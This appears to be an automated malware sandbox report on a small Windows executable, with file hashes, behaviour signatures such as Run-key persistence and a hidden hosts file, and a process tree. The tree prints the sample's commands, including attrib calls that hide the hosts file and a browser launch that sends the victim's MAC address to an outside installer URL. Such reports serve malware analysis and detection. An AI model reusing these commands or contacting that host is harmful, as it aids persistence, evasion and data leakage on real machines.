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Overview

overview

8

Static

static

3

bd5ca4e526...18.exe

windows7-x64

8

bd5ca4e526...18.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/08/2024, 22:13

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General

  • Target

    bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe

  • Size

    46KB

  • MD5

    bd5ca4e52639067d28151719615b587d

  • SHA1

    51718e6feef6d23a9b00536a28c9a4e259a7f45a

  • SHA256

    83a2cd295660aa9acc296769b4af8607cc6ad9c37d16fe303590041e1ac31613

  • SHA512

    87eae489684b9f470a27bf6a604df4966ca3e57f2392718b2504a63c29ba6aae9cf58ae166976ff3b15d7d892902f2d796b02c3f8ee806f4d765c0a53e8feb27

  • SSDEEP

    768:oK7vMVvp3w/qUfsRd9Zsb5CDsaSur5dikXBgOHtg8mVD2wVyl3qU5dM9KRxXH5Y:HvMVvp3w/hcG5esaSur5AyH7q5VMp5dA

Score
8/10
discoveryevasionpersistence

Malware Config

Signatures

  • Adds policy Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops file in Drivers directory 1 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 29 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs
    evasion

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3424
      • C:\Users\Admin\AppData\Local\Temp\bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe
        "C:\Users\Admin\AppData\Local\Temp\bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe"
        2⤵
        • Adds policy Run key to start application
        • Drops file in Drivers directory
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4488
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -h "C:\Windows\system32\drivers\etc\hosts"
          3⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2316
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h "C:\Windows\system32\drivers\etc\hosts"
          3⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2676
        • C:\program files\internet explorer\iexplore.exe
          "C:\program files\internet explorer\iexplore.exe" "http://www.dnbqq.cn/234/install.asp?ver=090107&tgid=baizi&address=72-21-D8-03-26-30&regk=1&flag=5ddf4dd11a496f259ee0319567740e7c&frandom=4346"
          3⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4792
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4792 CREDAT:17410 /prefetch:2
            4⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:4888
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x2f4 0x310
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4744

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\~DF621DD6E212379DEE.TMP
      Filesize

      16KB

      MD5

      6d49c5734c3f3237b72e9bc69321c556

      SHA1

      6ece8bcad7986bc237c5b492d79eda599f02265b

      SHA256

      5a1f0259386398409ec2ea8da1b4bda2770e57215f17fa4622afb5abd10e683e

      SHA512

      f948a2e86b51597cdcaa3e4e71eb07b58f09a455561ba232bcf9b85f7ef3354647a4609334e2a8ec4fc40ec825330e551ed922f46b926354f4746a01fa7c148e

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